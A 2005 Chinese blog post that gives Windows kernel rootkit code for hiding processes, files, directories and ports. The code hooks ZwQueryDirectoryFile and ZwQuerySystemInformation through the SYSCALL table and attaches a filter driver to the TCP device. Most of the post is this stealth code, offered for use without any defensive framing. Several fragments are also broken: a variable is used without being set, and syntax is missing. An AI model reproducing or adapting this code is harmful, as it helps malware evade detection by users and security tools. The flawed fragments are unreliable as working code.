blog

枪手亨利

博客园 首页 新随笔 联系 订阅 管理
 

隐藏任意进程,目录/文件,注册表,端口 

查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, 

ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个 

SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下 

才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所 

写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利 

用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到 

隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了 

充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。 

(注册表操作在 RegMon 中写的很详细,这里就不列出了) 

 

 

typedef struct _FILETIME

{

  DWORD dwLowDateTime;

  DWORD dwHighDateTime; 

} FILETIME;

 

 

 

typedef struct _DirEntry 

{

  DWORD dwLenToNext;

  DWORD dwAttr;

  FILETIME ftCreate, ftLastAccess, ftLastWrite;

  DWORD dwUnknown[ 2 ];

  DWORD dwFileSizeLow;

  DWORD dwFileSizeHigh;

  DWORD dwUnknown2[ 3 ];

  WORD wNameLen;

  WORD wUnknown;

  DWORD dwUnknown3;

  WORD wShortNameLen;

  WCHAR swShortName[ 12 ];

  WCHAR suName[ 1 ];

} DirEntry, *PDirEntry;

 

 

 

struct _SYSTEM_THREADS

{

  LARGE_INTEGER KernelTime;

  LARGE_INTEGER UserTime;

  LARGE_INTEGER CreateTime;

  ULONG WaitTime;

  PVOID StartAddress;

  CLIENT_ID ClientIs;

  KPRIORITY Priority;

  KPRIORITY BasePriority;

  ULONG ContextSwitchCount;

  ULONG ThreadState;

  KWAIT_REASON WaitReason;

};

 

 

 

struct _SYSTEM_PROCESSES

{

  ULONG NextEntryDelta;

  ULONG ThreadCount;

  ULONG Reserved[6];

  LARGE_INTEGER CreateTime;

  LARGE_INTEGER UserTime;

  LARGE_INTEGER KernelTime;

  UNICODE_STRING ProcessName;

  KPRIORITY BasePriority;

  ULONG ProcessId;

  ULONG InheritedFromProcessId;

  ULONG HandleCount;

  ULONG Reserved2[2];

  VM_COUNTERS VmCounters;

  IO_COUNTERS IoCounters;

  struct _SYSTEM_THREADS Threads[1];

};

 

 

 

 

// 隐藏目录/文件

 

 

 

NTSTATUS HookZwQueryDirectoryFile(

  IN HANDLE hFile,

  IN HANDLE hEvent OPTIONAL,

  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

  IN PVOID IoApcContext OPTIONAL,

  OUT PIO_STATUS_BLOCK pIoStatusBlock,

  OUT PVOID FileInformationBuffer,

  IN ULONG FileInformationBufferLength,

  IN FILE_INFORMATION_CLASS FileInfoClass,

  IN BOOLEAN bReturnOnlyOneEntry,

  IN PUNICODE_STRING PathMask OPTIONAL,

  IN BOOLEAN bRestartQuery)

{

  NTSTATUS rc;

  CHAR aProcessName[80];  

  ANSI_STRING ansiFileName,ansiDirName;

  UNICODE_STRING uniFileName;

  PP_DIR ptr;

 

 

 

  WCHAR ParentDirectory[1024] = {0};

  int BytesReturned;

  PVOID Object;

 

 

 

   

  // 执行旧的ZwQueryDirectoryFile函数

  rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(

  hFile,  

  hEvent,

  IoApcRoutine,

  IoApcContext,

  pIoStatusBlock,

  FileInformationBuffer,

  FileInformationBufferLength,

  FileInfoClass,

  bReturnOnlyOneEntry,

  PathMask,

  bRestartQuery);

 

  if(NT_SUCCESS(rc)) 

  {

  PDirEntry p;

  PDirEntry pLast;

  BOOL bLastOne;

  int found;  

  p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构

  pLast = NULL;

   

  do 

  {

  bLastOne = !( p-〉dwLenToNext );

  RtlInitUnicodeString(&uniFileName,p-〉suName);

  RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);

  RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

  RtlUpperString(&ansiFileName,&ansiDirName);

 

 

 

  found=0;

   

  // 在链表中查找是否包含当前目录

  for(ptr = list_head; ptr != NULL; ptr = ptr-〉next)

  {

  if (ptr-〉flag != PTR_HIDEDIR) continue; 

  if( RtlCompareMemory( ansiFileName.Buffer, ptr-〉name,strlen(ptr-〉name) ) == strlen(ptr-〉name))

  {

  found=1;

  break;

  }

  }//end for

 

 

 

  // 如果链表中包含当前目录,隐藏

  if(found)

  {

  if(bLastOne) 

  {

  if(p == (PDirEntry)FileInformationBuffer )

  {

  rc = 0x80000006; //隐藏

  }

  else

  pLast-〉dwLenToNext = 0;

  break;

  } 

  else 

  {

  int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;

  int iLeft = (DWORD)FileInformationBufferLength - iPos - p-〉dwLenToNext;

  RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p-〉dwLenToNext ), (DWORD)iLeft );

  continue;

  }

  }

  pLast = p;

  p = (PDirEntry)((char *)p + p-〉dwLenToNext );

  }while( !bLastOne );

  RtlFreeAnsiString(&ansiDirName);  

  RtlFreeAnsiString(&ansiFileName);

  }

  return(rc);

}

 

 

 

// 隐藏进程

 

 

 

NTSTATUS HookZwQuerySystemInformation(

  IN ULONG SystemInformationClass,

  IN PVOID SystemInformation,

  IN ULONG SystemInformationLength,

  OUT PULONG ReturnLength)

{

  NTSTATUS rc;

 

 

 

  ANSI_STRING process_name,process_uname,process_name1,process_name2;

  BOOL g_hide_proc = TRUE;

  CHAR aProcessName[80];

  PP_DIR ptr;  

  int found;

 

 

 

 

  // 执行旧的ZwQuerySystemInformation函数

 

 

 

  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

  SystemInformationClass,

  SystemInformation,

  SystemInformationLength,

  ReturnLength );

 

 

 

  if(NT_SUCCESS(rc )) 

  {

  if( g_hide_proc && (5 == SystemInformationClass))

  {

  // 将查找出来结果赋给结构

  struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

  struct _SYSTEM_PROCESSES *prev = NULL;

 

 

 

  // 遍历进程

  while(curr)

  {  

   

  if((0 〈 process_name.Length) && (255 〉 process_name.Length))

  {

  found=0;

  // 遍历链表

  for (ptr=list_head;ptr!=NULL;ptr=ptr-〉next )

  {  

  if (ptr-〉flag != PTR_HIDEPROC) continue ;

   

  if (memcmp(process_name.Buffer,ptr-〉name,strlen(ptr-〉name)) == 0)

  {

  found =1;

  }

  }

   

  // 判断如果是隐藏进程名则覆盖掉此进程名

  while(found)

  {

 

 

 

  if(prev)

  {

  if(curr-〉NextEntryDelta)

  {

  prev-〉NextEntryDelta += curr-〉NextEntryDelta;

  }

  else

  {

  prev-〉NextEntryDelta = 0;

  }

  }

  else

  {

  if(curr-〉NextEntryDelta)

  {

  (char *)SystemInformation += curr-〉NextEntryDelta;

  }

  else

  {

  SystemInformation = NULL;

  }

  }

   

  if(curr-〉NextEntryDelta)((char *)curr += curr-〉NextEntryDelta);

  else 

  {

  curr = NULL;break;

  }

  // 遍历链表

  found = 0;

  for (ptr=list_head;ptr!=NULL;ptr=ptr-〉next )

  {  

  if (ptr-〉flag != PTR_HIDEPROC) continue ;

   

  if (memcmp(process_name.Buffer,ptr-〉name,strlen(ptr-〉name)) == 0)

  {

  found = 1;

  }

  }

  }

  }

  if(curr != NULL)

  {

  prev = curr;

  if(curr-〉NextEntryDelta) ((char *)curr += curr-〉NextEntryDelta);

  else curr = NULL;

  }

  }

  }

  }

  return(rc);

}

 

 

 

 

//隐藏端口

 

 

 

  PDEVICE_OBJECT m_TcpgetDevice;

 

 

 

  PDEVICE_OBJECT TcpDevice; 

  UNICODE_STRING TcpDeviceName; 

  PDRIVER_OBJECT TcpDriver; 

  PDEVICE_OBJECT TcpgetDevice; 

  PDEVICE_OBJECT FilterDevice

  PDRIVER_DISPATCH Empty; 

  NTSTATUS status; 

 

 

 

  Empty = DriverObject-〉MajorFunction[IRP_MJ_CREATE]; 

   

  RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp"); 

 

 

 

  //得到已有的设备指针

 

 

 

  status = IoGetDeviceObjectPointer( &TcpDeviceName, 

  FILE_ALL_ACCESS, 

  &FileObject, 

  &TcpDevice

  ); 

 

 

 

 

  if(!NT_SUCCESS(status)) 

  { 

  DbgPrint("IoGetDeviceObjectPointer error!\n");

  return status; 

  } 

 

 

 

  DbgPrint("IoGetDeviceObjectPointer ok!\n");

   

  // 建立设备  

  status = IoCreateDevice( DriverObject, 

  sizeof(DEVICE_EXTENSION), 

  NULL, 

  FILE_DEVICE_UNKNOWN, 

  0, 

  FALSE, 

  &FilterDevice

  ); 

  if(!NT_SUCCESS(status)) 

  { 

  return status; 

  } 

 

 

 

  // 加入设备

 

 

 

  TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice); 

 

 

 

  if(!TcpgetDevice) 

  { 

  IoDeleteDevice(FilterDevice); 

  DbgPrint("IoAttachDeviceToDeviceStack error!\n");

  return STATUS_SUCCESS; 

  } 

 

 

 

  m_TcpgetDevice = TcpgetDevice;

  

  // 加到过滤函数中处理

  for(i=0;i〈IRP_MJ_MAXIMUM_FUNCTION;i++) 

  { 

  if((TcpDriver-〉MajorFunction[i]!=Empty)&&(DriverObject-〉MajorFunction[i]==Empty)) 

  { 

  DriverObject-〉MajorFunction[i] = PassThrough; 

   

  } 

  } 

 

 

 

  ObDereferenceObject(FileObject); 

 

 

 

 

NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) 

 

 

 

  NTSTATUS status; 

  PIO_STACK_LOCATION pIrpStack;

 

 

 

  pIrpStack = IoGetCurrentIrpStackLocation( Irp );

 

 

 

 

  //如是查询则完成 IRP 

  if ( pIrpStack-〉Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)

  {

  //这里可以近一步判断某个端口

 

 

 

  Irp-〉IoStatus.Status=STATUS_SUCCESS; 

  IoCompleteRequest(Irp,IO_NO_INCREMENT); 

  return STATUS_SUCCESS; 

  }

 

 

 

  //复制当前 IRP 

  IoCopyCurrentIrpStackLocationToNext(Irp);

  

  IoSetCompletionRoutine( Irp, 

  GenericCompletion, 

  NULL, 

  TRUE,

  TRUE,

  TRUE

  ); 

 

 

 

  //传递

  return IoCallDriver( m_TcpgetDevice, Irp); 

 

 

 

}



本文引用通告地址: http://blog.csdn.net/BestBear/services/trackbacks/67137.aspx
posted on 2005-10-25 22:46  henry  阅读(638)  评论(0编辑  收藏  举报